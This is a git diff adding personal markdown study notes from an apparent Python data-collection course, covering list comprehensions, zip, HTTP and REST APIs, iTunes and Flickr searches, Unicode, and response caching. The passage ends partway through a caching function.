alternative way to do `map` and `filter` operations. +- concise ways to create **lists** from other lists. +- result is list + +The general syntax is: + +` for in if ` + + + +1. mapping operation: things4 = list( `map( (lambda value: 4*value) , things)` ) + + - ` for in ` + - difference: + - The code that is executed each time is the transformer expression , `value * 2`, rather than a block of code indented underneath the for statement. + - each time the expression is evaluated, the **resulting value is appended to a list**. That happens automatically, without the programmer explicitly initializing an empty list or appending each item. + + +2. filter operation: filter_testing= list( `filter( lambda value: 'w' in value, lst_check)` ) + + - ` for in ` `if ` + - To perform a pure filter operation, the expression can be simply the variable that is bound to each item. + +## code + +### 1. + +Each time that code is executed, "value" is bound to one item from "things". + +```py + + + + human_players = [WOFHumanPlayer(input('Enter the name for human player #{}'.format(i+1))) for i in range(num_human)] +``` + +--- + +### 2. return value from nums in list (even, 余数) + +combined, chaining together filter and map: + +```py + + things = [2, 5, 9] + yourlist = [value * 2 for value in things] # [4, 10, 18] + + nums=[3, 4, 6, 7, 0, 1] + def keep_evens(nums): + new_list = [num for num in nums if num % 2 == 0] + return new_list + + things = [3, 4, 6, 7, 0, 1] + print( map(lambda x: x*2, filter(lambda y: y % 2 == 0, things) )) + print([x*2 for x in things if x % 2 == 0]) + + + alist = [4,2,8,6,5] + blist = [num*2 for num in alist if num%2==1] + + + L = [12, 34, 21, 4, 6, 9, 42] + lst2= [ x for x in L if x>10] + + + nums = [[4, 3, 12, 10], [8, 7, 6], [5, 18, 15, 7, 11], [9, 4], [24, 20, 17], [3, 5]] + threes=[] + for lst in nums: [threes.append(num) for num in lst if num%3==0] + +``` + +--- + +### 3. filter the key in dic + +```py + + tester = { 'info': [ + {"name": "Lauren", 'class standing': 'Junior', 'major': "Information Science"}, + {'name': 'Ayo', 'class standing': "Bachelor's", 'major': 'Information Science'}, + {'name': 'Kathryn', 'class standing': 'Senior', 'major': 'Sociology'}, + {'name': 'Nick', 'class standing': 'Junior', 'major': 'Computer Science'}, + {'name': 'Gladys', 'class standing': 'Sophomore', 'major': 'History'}, + {'name': 'Adam', 'major': 'Violin Performance', 'class standing': 'Senior'}]} + + import json + # preatty print it + print(json.dumps(inner_list, indent=2)) + + compri=list( subdic['name'] for subdic in tester['info']) + + + + tester = {'info': [ + {"name": "Lauren", 'class standing': 'Junior', 'major': "Information Science", 'important classes': ['SI 106', 'ENGLISH 125', 'SI 110', 'AMCULT 202']}, + {'name': 'Ayo', 'class standing': "Bachelor's", 'major': 'Information Science', "important classes": ['SI 106', 'SI 410', 'PSYCH 111']}, + {'name': 'Kathryn', 'class standing': 'Senior', 'major': 'Sociology', 'important classes': ['WOMENSTD 220', 'SOC 101', 'ENS 384']}, + {'name': 'Nick', 'class standing': 'Junior', 'major': 'Computer Science', "important classes": ['SOC 101', 'AMCULT 334', 'EECS 281']}, + {'name': 'Gladys', 'class standing': 'Sophomore', 'major': 'History', 'important classes': ['ENGLISH 125', 'HIST 259', 'ENGLISH 130']}, + {'name': 'Adam', 'major': 'Violin Performance', 'class standing': 'Senior', 'important classes': ['PIANO 101', 'STUDIO 300', 'THEORY 229', 'MUSC 356']}]} + class_sched=[] + + item = [subdic['important classes'] for subdic in tester['info']] + print(item) + + for pair in item: +# print(pair) + [class_sched.append(classnum) for classnum in pair] +# print(class_sched) + +``` + +--- + +### 4. list comprehension on string + +```py + + def longlengths(strings): + result = [len(s) for s in strings if len(s)>=4] + + result = map( len, filter(lambda s:len(S)>=4, strings) ) + result = map( lambda s: len(s), filter(lambda s:len(S)>=4, strings) ) + return result + + + # assign to the variable map_testing all the elements in lst_check while adding the string “Fruit: ” to the beginning of each element using mapping. + lst_check = ['plums', 'watermelon', 'kiwi', 'strawberries', 'blueberries', 'peaches', 'BigBlueberry', 'mangos', 'papaya'] + map_testing= map( lambda s: 'Fruit: '+s , lst_check) + + + # Use filter to produce a list called b_countries that only contains the strings from countries that begin with B. + countries = ['Canada', 'Mexico', 'Brazil', 'Chile', 'Denmark', 'Botswana', 'Spain', 'Britain', 'Portugal', 'Russia', 'Thailand', 'Bangladesh', 'Nigeria', 'Argentina', 'Belarus', 'Laos', 'Australia', 'Panama', 'Egypt', 'Morocco', 'Switzerland', 'Belgium'] + b_countries= filter( lambda s:s[0]=='B' , countries) + + + # Using list comprehension, create a list of strings called first_names that contains only the first names of everyone in the original list. + people = [('Snow', 'Jon'), ('Lannister', 'Cersei'), ('Stark', 'Arya'), ('Stark', 'Robb'), ('Lannister', 'Jamie'), ('Targaryen', 'Daenerys'), ('Stark', 'Sansa'), ('Tyrell', 'Margaery'), ('Stark', 'Eddard'), ('Lannister', 'Tyrion'), ('Baratheon', 'Joffrey'), ('Bolton', 'Ramsey'), ('Baelish', 'Peter')] + first_names= [ fs for (ls,fs) in people ] + + + +``` + +--- + +### 8. output the items in nested list +Challenge The nested for loop given takes in a list of lists and combines the elements into a single list. Do the same thing using a list comprehension for the list L. Assign it to the variable result2. + +```py + + L = [["hi", "bye"], ["hello", "goodbye"], ["hola", "adios", "bonjour", "au revoir"]] + new_list=[] + for inner_list in L: + [new_list.append(x) for x in inner_list] + +``` diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.5.zip.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.5.zip.md new file mode 100644 index 00000000000..1675ab6881b --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.23.5.zip.md @@ -0,0 +1,110 @@ + +## 23.5. `zip(lst1, lst2)` --> list of tuples + +[toc] + +## Intro + +pairwise + +One common pattern with lists, besides accumulation, is to step through a pair of lists (or several lists), doing something with all of the first items, then something with all of the second items, and so on. + +The `zip` function: takes multiple lists and turns them into a `list of tuples` (actually, an iterator, but they work like lists for most practical purposes), +- pairing up all the first items as one tuple, all the second items as a tuple, and so on. +- Then iterate through those tuples, and perform some operation on all the first items, all the second items, and so on. + +better to `list()` the zip result + + +```py + +1. sum the num in the same index. + + L1 = [3, 4, 5] + L2 = [1, 2, 3] + L3 = [] + + # manual accumulation: + for i in range(len(L1)): + L3.append(L1[i] + L2[i]) + print(L3) # [4, 6, 8] + + # Zip + L4 = list(zip(L1, L2)) + for (x1, x2) in L4: + L3.append(x1+x2) + + # list comprehension + L3 = map(lambda x: x[0] + x[1], zip(L1, L2)) + + L3 = [x1 + x2 for (x1, x2) in list(zip(L1, L2))] + + +3. + + L1 = [1, 5, 2, 16, 32, 3, 54, 8, 100] + L2 = [1, 3, 10, 2, 42, 2, 3, 4, 3] + + L3 = [x1 + x2 for (x1,x2) in zip(L1,L2) if x1>10 and x2<5] + +``` + +--- + +## example: + +1. Hangman + +```py + +// word from dictionary, compare to see if its the right word. + +1. + + def possible(word, blanked, guess_made): + if len(word) != len(blanked): # 是否字数相同 + return False + for i in range(len(word)): + bc=blanked[i] + wc=word[i] + if bc=="_" and wc in guess_made: + return False + elif bc=="_" and bc!=wc: + return False + return True + + print(possible("wonderwall", "_on__r__ll","otnqurl")) # True + print(possible("wonderwall", "_on__r__ll","wotnqurl")) # False + + +2. update. + + def compatible_char(wc, bc, guess_made): + if bc=="_" and wc in guess_made: + return False + elif bc=="_" and bc!=wc: + return False + else: + return True + + def possible(word, blanked, guess_made): + if len(word) != len(blanked): # 是否字数相同 + return False +# for i in range(len(word)): +# bc=blanked[i] +# wc=word[i] + for (bc, wc) in zip(blanked, word) + if not compatible_char(wc, bc, guess_made): + return False + return True +``` + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.1.Requestingdata.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.1.Requestingdata.md new file mode 100644 index 00000000000..912c2cf1491 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.1.Requestingdata.md @@ -0,0 +1,94 @@ + +# Requesting data + +[toc] + +## 24.1. Requesting data from the Internet + + +## 24.2. The Internet: Behind the Scenes +![routers](https://i.imgur.com/lCnGQbd.png) + + +## 24.3. Anatomy of URLs + +A URL is used by a browser or other program to specify what server to connect to and what page to ask for. + +URLs have specific formal structure: `://:/` + + the scheme : +- http or https. +- Other schemes that you will sometimes see include ftp (for file transfer) and mailto (for email addresses). + + The host : usually be a domain name, like `si.umich.edu` or `github.com` or `google.com`. +- When the URL specifies a domain name, the first thing the computer program does is look up the domain name to find the 32-bit IP address. +- For example, right now the IP adddress for github.com is 192.30.252.130. This could change if, for example, github moved its servers to a different location or contracted with a different Internet provider. +- Lookups use something called the Domain Name System, DNS. Changes to the mapping from domain names to IP addresses can take a little while to propagate: if github.com announces a new IP address associated with its domain, it might take up to 24 hours for some computers to start translating github.com to the new IP address. +- the host can be an IP address directly. This is less common, because IP addresses are harder to remember and because a URL containing a domain name will continue to work even if the remote server keeps its domain name but moves to a different IP address. + + The :port : optional. +- If it is omitted, the default port number is 80. The port number is used on the receiving end to decide which computer program should get the data that has been received. We probably will not encounter any URLs that include the : and a port number in this course. + + The /path : also optional. It specifies something about which page, or more generally which contents, are being requested. + + +example +- url: https://github.com/presnick/runestone: +- `https://`: use the secure http protocol +- `github.com`: connect to the server at github.com, which currently maps to the IP address 192.30.252.130. The connection will be made on the default port, which is 443 for https. +- `/presnick/runestone`: ask the remote server for the page `presnick/runestone`. It is up to the remote server to decide how to map that to the contents of a file it has access to, or to some content that it generates on the fly. + + +![internet_requests](https://i.imgur.com/jMUOTWr.png) + +--- + +## 24.4. The HTTP protocol + +A protocol specifies the order in which parties will speak and the format of what they say and the content of appropriate responses. + +`HTTP` is the protocol that specifies *how web browsers or other programs communicate with web servers*. One version of the formal specification, before it was later split into multiple documents, was IETF RFC 2616. + + +pic + + +1. **Step 1: the client makes a request to the server** + 1. `GET `: If the request only involves fetching 取来 data, the client sends a message of the form `GET `, + - `` is the path part of the URL + + 2. `POST`: If the request involves sending some data (e.g., a file upload, or some authentication information), the message starts with `POST` + + - In either case, the client sends some HTTP headers . These include: + - The `type of client program`. This allows the server to send back different things to small mobile devices than desktop browsers (a “responsive” website) + - Any `cookies` that the server previously asked the client to hold onto. This allows the server to continue previous interactions, rather than treating every request as stand-alone. It also allows ad networks to place personalized ads. + + - After the HTTP headers, for a POST type communication, there is some data (the body of the request). + + +2. **Step 2: the server responds to the client** + - The server first sends back some HTTP headers . These include: + - a `response code` indicating whether the server thinks it has fulfilled the request or not. + - a `description` of the type of content it is sending back (e.g., text/html when it is sending html-formatted text). + - any `cookies` it would like the client to hold onto and send back the next time it communicates with the server. + - After the headers come the `contents`. This is the stuff that you would see if you ask to “View Source” in a browser. + +pic + +--- + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.11.Searching.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.11.Searching.md new file mode 100644 index 00000000000..1aaab4a5127 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.11.Searching.md @@ -0,0 +1,144 @@ + +# Searching + +[toc] + +## 24.11. Searching for Media on iTunes + +[official iTunes API documentation](https://affiliate.itunes.apple.com/resources/documentation/itunes-store-web-service-search-api/). + +In the Searching section of the documentation: +- the url should be in the form of https://itunes.apple.com/search?parameterkeyvalue +- the base url should be https://itunes.apple.com/search + +To determine what parameters are necessary +- look at the table in the documentation to learn what parameter keys and values will be understood by the iTuens API server. + +`term`: is a required parameter with no default value, have to provide that. + + + +write our import statements, so that we have access to the requests module and json module. + +```py + +import requests +import json + +parameters = {"term": "Ann Arbor", "entity": "podcast"} +iTunes_response = requests_with_caching.get("https://itunes.apple.com/search", params = parameters, permanent_cache_file="itunes_cache.txt") + +py_data = json.loads(iTunes_response.text) +# no print +# found in permanent_cache + + +print(py_data) +#{'resultCount': 26,'results': [ +#{'wrapperType': 'track', 'kind': 'podcast', 'collectionId': 1089272384, 'trackId': '1089272384', 'artistName': 'Ann Arbor District Library', 'collectionName': 'Ann Arbor Stories | Ann Arbor District Library', 'trackName': 'Ann Arbor Stories | Ann Arbor District Library',...}, +#{'wrapperType': 'track', 'kind': 'podcast', 'collectionId': 156621464, 'trackId': '156621464', 'artistName': 'Vineyard Church of Ann Arbor', 'collectionName': 'Vineyard Church of Ann Arbor Sermon Podcast', 'trackName': 'Vineyard Church of Ann Arbor Sermon Podcast', ...}, + + +for r in py_data['results']: + print(r['trackName']) +# +# Arbor Stories | Ann Arbor District Library +# Vineyard Church of Ann Arbor Sermon Podcast +# Harvest Mission Community Church (Ann Arbor) Sermons +# Grace Bible Church Ann Arbor +``` + +--- + + +## 24.12. Searching for tags on flickr + +An API is available to make it easier for application programs to fetch data from the site and post data to the site. That allows third parties to make applications that integrate elements of flickr. Flickr provides the API as a way to increase the value of its service, and thus attract more customers. You can explore the official documentation about the site. + +[documentation for photo search](https://www.flickr.com/services/api/flickr.photos.search.html) + + +The structure of a URL for a photo search on flickr is: +1. base URL is `https://api.flickr.com/services/rest/` +2. `?` +3. key=value pairs, separated by `&`s: + - `method=flickr.photos.search`. This says to do a photo search, rather than one of the many other operations that the API allows. Don’t be confused by the word “method” here– it is not a python method. That’s just the name flickr uses to distinguish among the different operations a client application can request. + - `format=json`: return results in JSON format. + - `per_page=5`: return 5 results at a time. + - `tags=mountains,river`: return things that are tagged with “mountains” and “river”. + - `tag_mode=all`: return things that are tagged with both mountains and river. + - `media=photos`: return photos + - `api_key=....`: Flickr only lets authorized applications access the API. Each request must include a secret code as a value associated with api_key. Anyone can get a key. See the documentation for how to get one. We recommend that you get one so that you can test out the sample code in this chapter creatively. We have included some cached responses, and they are accessible even without an API key. + - `nojsoncallback=1`: return the raw JSON result without a function wrapper around the JSON response. + +>Note +>Searching for “mountains” and “rivers” usually produces beautiful images that are “safe for work”, so the example below does that search. We have already cached a response for the particular search in the code window below. That allows the code to run even if you don’t provide a valid flickr api_key. We’ve also checked to make sure that the five returned images are indeed safe for work. If you run this code outside of a browser, or if you do other searches, you will need to provide a valid flickr api_key. + + +```py + +# import statements +import requests_with_caching +import json +# import webbrowser + +# apply for a flickr authentication key at https://www.flickr.com/services/apps/create/apply/? +# paste the key (not the secret) as the value of the variable flickr_key +flickr_key = 'yourkeyhere' + +def get_flickr_data(tags_string): + baseurl = "https://api.flickr.com/services/rest/" + params_diction = {} + params_diction["api_key"] = flickr_key # from the above global variable + params_diction["tags"] = tags_string # must be a comma separated string to work correctly + params_diction["tag_mode"] = "all" + params_diction["method"] = "flickr.photos.search" + params_diction["per_page"] = 5 + params_diction["media"] = "photos" + params_diction["format"] = "json" + params_diction["nojsoncallback"] = 1 + flickr_resp = requests_with_caching.get(baseurl, params = params_diction, permanent_cache_file="flickr_cache.txt") + # Useful for debugging: print the url! Uncomment the below line to do so. + print(flickr_resp.url) # Paste the result into the browser to check it out... + return flickr_resp.json() + # The response sent back by flickr is loaded into a python dictionary using json.loads(). + +result_river_mts = get_flickr_data("river,mountains") + +# Some code to open up a few photos that are tagged with the mountains and river tags... + +photos = result_river_mts['photos']['photo'] + +for photo in photos: + owner = photo['owner'] + photo_id = photo['id'] + url = 'https://www.flickr.com/photos/{}/{}'.format(owner, photo_id) + print(url) + # webbrowser.open(url) + +# +found in permanent_cache +https://api.flickr.com/services/rest/?api_key=yourkeyhere&tags=river%2Cmountains&tag_mode=all&method=flickr.photos.search&per_page=5&media=photos&format=json&nojsoncallback=1 +https://www.flickr.com/photos/45934971@N07/44858440865 +https://www.flickr.com/photos/145056248@N07/43953569330 +https://www.flickr.com/photos/145056248@N07/43953448610 +https://www.flickr.com/photos/131540074@N08/44857602655 +https://www.flickr.com/photos/145056248@N07/44857423045 +``` + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.13.Unicodefornon-Englishcharacters.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.13.Unicodefornon-Englishcharacters.md new file mode 100644 index 00000000000..17684d201cc --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.13.Unicodefornon-Englishcharacters.md @@ -0,0 +1,85 @@ + +# 24.13. Unicode for non-English characters + +[toc] + + +## 24.13. Unicode for characters + +Python’s strings are in unicode, which allows for characters to be from a much larger alphabet, including more than 75,000 ideographic characters used in Chinese, Japanese, and Korean alphabets. + +Everything works fine inside Python, for operations like slicing and appending and concatenating strings and using `.find()` or the `in` operator. + +output in terminal, (output) window will typically be set up to display characters only from a restricted set of languages (perhaps just English). If you issue a print statement on a string containing other characters, it may not display correctly in your terminal window. Indeed, you may get an error message. We will offer a workaround later on this page. + +to store unicode text in a file, you have to choose an “encoding”. This is analogous to the encoding of special characters in a URL string, but not the same. In a file, each unicode character has to be encoded as one or more “bytes” for storage in a file. We have avoided low-level details about data encodings until now, but understanding a little about bits and bytes will help make sense of this. + +A `bit` is a `BInary digiT` +- a single value restricted to two (binary) possibilities, 0 or 1. +- Computers store bits as electrical charges (high or low voltage) or as magnetic polarities, or some other way that we need not be concerned about. +- A sequence of eight 0-1 bits is called a `byte`. For example: 01001000. + +There are 2^^8=256 distinct eight-bit bytes. If only 256 possible letters in alphabet, could simply encode each letter as one of the available bytes. + +When there are 75,000 possible characters, they can’t all be encoded with a single byte, because there are only 256 distinct bytes (eight-bit sequences). There are many possible encodings. The one you will be most likely to encounter, using REST APIs, is called UTF-8. A single unicode character is mapped to a sequence of up to four bytes. + + +read a UTF-8 encoded text + +get the contents using `.read()` or `.readlines()` +- need to “decode” the contents to turn it into a proper unicode string to read and use. + +the `requests` module normally handle this automatically. +- When fetch a webpage that is in json format, the webpage will have a `header` called ‘content-type’ that will say something like `application/json; charset=utf8`. +- If it specifies the utf8 character set in that way, the `requests` module will automatically decode the contents into unicode: +- `requests.get('url').text` will yield a string, with each of those sequences of one to four bytes converted into a single character. + +If get json-formatted text that is utf-encoded but the requests module hasn’t decoded it, +- the `json.loads()` function call can decode. `loads()` takes an optional parameter, encoding. +- Its default value is ‘utf-8’, don’t need to specify it unless the text received was in other encoding than ‘utf-8’. + + +print or write the contents to a file. + +If print, and terminal window is not set up to display that language, you may get a strange output, or an error message. + +If to write to a file with unicode strings, may get an error. +- When you write a unicode string to a file, Python tries to encode it in ASCII. If there is a non-ASCII character, the execution fails and raises an error that looks like this: `UnicodeEncodeError: 'ascii' codec can't encode character u'\xea' in position 1: ordinal not in range(128).` + +solution + +- use the Python method to encode the string + - `s.encode('utf-8')`, encode string s as utf-8. + - encode non-ASCII characters with multiple character sequences that are difficult for people to read but can decoded back into single Unicode characters. This is often the best way. + +- if just have a few stray characters, replace any non-ASCII characters with question marks. + - `s.encode('ascii', 'replace')`` + - replacing characters with question marks destroys some of the information, but it may be helpful in some circumstances. + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.5.RESAPIs.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.5.RESAPIs.md new file mode 100644 index 00000000000..01a168c013b --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.5.RESAPIs.md @@ -0,0 +1,104 @@ + +# 24.5. `REST` APIs + +[toc] + +## intro + +`REST`, Representational State Transfer. +- It originally had a more abstract meaning, but has come to be a shorthand name for web sites that act a bit like python functions, taking as inputs values for certain parameters and producing outputs in the form of a long text string. + + +`API`, Application Programming Interface. +- An API specifies how an external program (an application program) can request that a program perform certain computations. + +**Putting the two together:** + +a `REST` `API` specifies how external programs can make HTTP requests to a web site to request some computation be carried out and data returned as output. + +`web service`: When a website is designed to accept requests generated by computer programs , and produce outputs to be consumed by other programs . +- as opposed to a web site which produces output meant for humans to consume in a web browser. + + +common pattern `REST APIs` +- a base `URL` that defines an “endpoint”, and then additional information is appended to the URL as `query parameters`. +- the response comes back not as HTML but `JSON`. +- Along the way, functions in python modules are helpful for constructing the URLS and for processing the JSON formatted response. + + +### 24.5.1. URL Structure for REST APIs + +In a `REST API`, the client/application program makes an `HTTP request` that includes information about what kind of request it is making. + +Web sites define whatever format they want for how the request should be formatted. + +a particularly common and simple format, where the `request information` is encoded in the `URL`. +- convenient, can debug by copying the URL into a browser and see what happens when it tries to visit that URL. + +pic + +In this format, the URL has a standard structure: +- the base URL +- a ? character +- one or more key-value pairs, formatted as `key=value` pairs and separated by the `&` character. + +--- + +example + +URL `https://itunes.apple.com/search?term=Ann+Arbor&entity=podcast` + +file in JSON format + +pic + +- the base URL: `https://itunes.apple.com/search` +- a `?` character +- `key=value pairs`. there are two pairs. + - The `keys` are term and entity. + - `&` separates the two pairs. + +--- + +### 24.5.2. Encoding URL Parameters + +another URL + +`https://www.google.com/search?q=%22violins+and+guitars%22&tbm=isch` + +- a search on Google for images that match the string “violins and guitars”. +- It’s not actually based on a `REST API`, because the contents that come back are meant to be displayed in a browser. +- But the URL has the same structure we have been exploring above and introduces the idea of “encoding” URL parameters. + +- The `base URL`: `https://www.google.com/search` +- `?` +- Two `key=value` parameters, separated by `&` + - `q=%22violins+and+guitars%22`: the query to search for is “violins and guitars”. + - `tbm=isch`: go to the tab for image search + + +`%22violins+and+guitars%22` +- some characters are not safe to include, as is, in URLs. +- a URL path is not allowed to include the `double -quote character : / space`. + - to include one of those characters in a URL, have to encode them with other characters. + - `space` is encoded as `+` + - `"` is encoded as `%22` + - `:` would be encoded as `%3A` + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.6.Fetchingpage.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.6.Fetchingpage.md new file mode 100644 index 00000000000..d11034a9d8b --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.6.Fetchingpage.md @@ -0,0 +1,117 @@ + +# 24.6. Fetching a page + +The web works with a metaphor of “pages”. + +The `browser` is just a computer program that fetches the contents and displays them in a nice way. +- see the contents in plain text: select View source in your browser. + +--- + +## 24.6.1. `requests.get` Fetching data + +use a browser to fetch the contents of a page + +module `requests`: use the `get` function to fetch the contents of a page. + + +page = requests.get("url") +- not working all the time. can't use it to fetch regular html pages like umich.edu. +- there are security considerations built into most web browsers called cross site scripting restrictions. + +> [{"word":"money","score":4417,"numSyllables":2},{"word":"honey","score":1208,"numSyllables":2},{"word":"sunny","score":720,"numSyllables":2}{"word":"spinny","score":117,"numSyllables":2}, ... ,{"word":"won he","numSyllables":2}] + +```py + +import requests +import json + +page = requests.get("https://api.datamuse.com/words?rel_rhy=funny") +print(type(page)) +# + +print(page.text[:150]) # print the first 150 characters +#[{"word":"money","score":4417,"numSyllables":2},{"word":"honey","score":1208,"numSyllables":2},{"word":"sunny","score":720,"numSyllables":2},{"word":" + +print(page.url) # print the url that was fetched +#https://api.datamuse.com/words?rel_rhy=funny + +x = page.json() # turn page.text into a python object +x = jsno.loads(page, text) +print(type(x)) +# + +print("---first item in the list---") +print(x[0]) +print("---the whole list, pretty printed---") +print(json.dumps(x, indent=2)) # pretty print the results + +``` + +--- + +## 24.6.3. Using requests.get to encode URL parameters + +The `get` function in the `requests` module takes an optional parameter called `params`. + +If a value is specified for that parameter, it should be a dictionary. The keys and values in that dictionary are used to append something to the URL that is requested from the remote site. + +For example, in the following, the base url is https://google.com/search. A dictionary with two parameters is passed. Thus, the whole url is that base url, plus a question mark, “?”, plus a “q=…” and a “tbm=…” separated by an “&”. + +the final url is: `https://www.google.com/search?q=%22violins+and+guitars%22&tbm=isch` + +Actually, because dictionary keys are unordered in python, the final url might sometimes have the encoded key-value pairs in the other order: https://www.google.com/search?tbm=isch&q=%22violins+and+guitars%22. + +Fortunately, most websites that accept URL parameters in this form will accept the key-value pairs in any order. + +![urlexamples](https://i.imgur.com/gmqci4a.png) + +```py + +results = requests.get("base url", params=dictionary) + +1. + page = requests.get("https://www.google.com/search?q=%22violins+and+guitars%22&tbm=isch") + +2. fetched url + + kval_pairs = {'rel_rhy': 'funny'} + pages = requests.get("https://api.datamuse.com/words", params=kval_pairs) + print(page.text[:150]) + print(page.url) # print the url that was fetched + + + d = {'q': '"violins and guitars"', 'tbm': 'isch'} + results = requests.get("https://google.com/search", params=d) + print(results.url) + print(results.text) + # + https://www.google.com/search?q=%22violins+and+guitars%22&tbm=isch + Filed to retrieve that URL # browser security measure + + + +3. request the URL + + https://bar.com/goodstuff?greet=hi+there&frosted=no + + requests.get("https://bar.com/goodstuff", params = {'greet': 'hi there', 'frosted':'no'}) + + +4. extract the contents into a python dictionary or list + + # .json() invokes the json method + resp.json() + + # loads turns a json-formatted string into a list or dictionary + json.loads(resp.url) +``` + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.7.CachingResponseContent.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.7.CachingResponseContent.md new file mode 100644 index 00000000000..8d2a71d06a1 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.24.7.CachingResponseContent.md @@ -0,0 +1,165 @@ + +# 24.7. Caching Response Content + +[toc] + +## intro + +To avoid re-requesting the same data, use a programming pattern known as `caching`. + +It works like this: +1. Before doing some expensive operation (like calling requests.get to get data from a REST API), check whether you have already saved (“cached”) the results that would be generated by making that request. +2. If so, return that same data. +3. If not, perform the expensive operation and save (“cache”) the results (e.g. the complicated data) in your cache so you won’t have to perform it again the next time. + + +reasons why caching is a good idea during your software development using REST APIs: +- `reduces load on the website` that is providing you data. some websites impose rate limits: for example, after 15 requests in a 15 minute period, the site may start sending error responses.. +- `make program run faster`. Connections over the Internet can take a few seconds, or even tens of seconds, if you are requesting a lot of data. It might not seem like much, but debugging is a lot easier when you can make a change in your program, run it, and get an almost instant response. +- harder to debug the code that processes complicated data if the content that is coming back can change on each run of your code. It’s amazing to be able to write programs that fetch real-time data like the available iTunes podcasts or the latest tweets from Twitter. But it can be hard to debug that code if you are having problems that only occur on certain Tweets (e.g. those in foreign languages). When you encounter problematic data, it’s helpful if you save a copy and can debug your program working on that saved, static copy of the data. +- easier to run automated tests on code that retrieves data if the data can never change, for the same reasons it is helpful for debugging. In fact, we rely on use of cached data in the automated tests that check your code in exercises. + +## 24.7.1. `requests_with_caching` module + +statement **to import the module**: `import requests_with_caching`. +- not `requests.get()`, use `requests_with_caching.get()`. +- exactly the same Response object back as `requests.get()`. + +But also get a printout in the output window with one of the following three diagnostic messages: +- found in permanent cache +- found in page-specific cache +- new; adding to cache + + +The `permanent cache` is contained in a file that is built into the textbook. program can use its contents but can’t add to it. + + +The `page-specific cache` is a new file that is created the first time you make a request for a url that wasn’t in the `permanent cache`. +- Each subsequent request for a new url results in more data being written to the `page-specific cache`. +- After you run an activecode that adds something to the page-specific cache, you’ll see a little window below it where you can inspect the contents of the page-specific cache. When you reload the webpage, that page-specific cache will be gone; hence the name. + + +optional parameters for function `requests_with_caching.get()` +- `cache_file` – it’s value should be a string specifying the name of the file containing the permanent cache. If you don’t specify anything, the default value is “permanent_cache.txt”. For the datamuse API, we’ve provide a cache in a file called datamuse_cache.txt. It just contains the saved response to the query for “https://api.datamuse.com/words?rel_rhy=funny”. +- `private_keys_to_ignore` – its value should be a list of strings. These are keys from the parameters dictionary that should be ignored when deciding whether the current request matches a previous request. The main purpose of this is that it allows us to return a result from the cache for some REST APIs that would otherwise require you to provide an API key in order to make a request. By default, it is set to [“api_key”], which is a query parameter used with the flickr API. You should not need to set this optional parameter. + + +```py +import requests_with_caching +# like requests.fet() +# but it check cache first. +# if no chech, it calls requests.fet() + +# it's not found in the permanent cache +res = requests_with_caching.get("https://api.datamuse.com/words?rel_rhy=happy", permanent_cache_file="datamuse_cache.txt") +#print(res.text[:100]) + +# this time it will be found in the temporary cache +res = requests_with_caching.get("https://api.datamuse.com/words?rel_rhy=happy", permanent_cache_file="datamuse_cache.txt") + +# This one is in the permanent cache. +res = requests_with_caching.get("https://api.datamuse.com/words?rel_rhy=funny", permanent_cache_file="datamuse_cache.txt") +# result: +found in page-specific cache +#[{"word":"nappy","score":703,"numSyllables":2},{"word":"scrappy","score":700,"numSyllables":2},{"wor +found in page-specific cache +found in permanent_cache + +``` + +--- + +### 24.7.2. Implementation + +to maintain the cache as a dictionary with keys representing API requests that have been made, and values representing the text that was retrieved. + +In order to make cache live beyond one program execution, store it in a file. Hence, there are helper functions `_write_to_file` and `read_to_file` that write a cache dictionary to and read it from a file. + +In order for the textbook to provide a cache file that can’t be overwritten, distinguish between the `permanent file`, which is provided as part of the online textbook, and a `temporary cache file` that will live only until the page is reloaded. + +```py + +import json + +PERMANENT_CACHE_FNAME = "permanent_cache.txt" +TEMP_CACHE_FNAME = "this_page_cache.txt" + +# write cache in fname +def _write_to_file(cache, fname): + with open(fname, 'w') as outfile: + outfile.write(json.dumps(cache, indent=2)) + +# read cache in fname +def _read_from_file(fname): + try: + with open(fname, 'r') as infile: + res = infile.read() + return json.loads(res) + except: + return {} + +# add cache_key, cache_value to cache_file, rewrite it +def add_to_cache(cache_file, cache_key, cache_value): + temp_cache = _read_from_file(cache_file) + temp_cache[cache_key] = cache_value + _write_to_file(temp_cache, cache_file) + + +def clear_cache(cache_file=TEMP_CACHE_FNAME): + _write_to_file({}, cache_file) + + +def make_cache_key(baseurl, params_d, private_keys=["api_key"]): + """Makes a long string representing the query. + Alphabetize the keys from the params dictionary so we get the same order each time. + Omit keys with private info.""" + alphabetized_keys = sorted(params_d.keys()) + res = [] + for k in alphabetized_keys: + 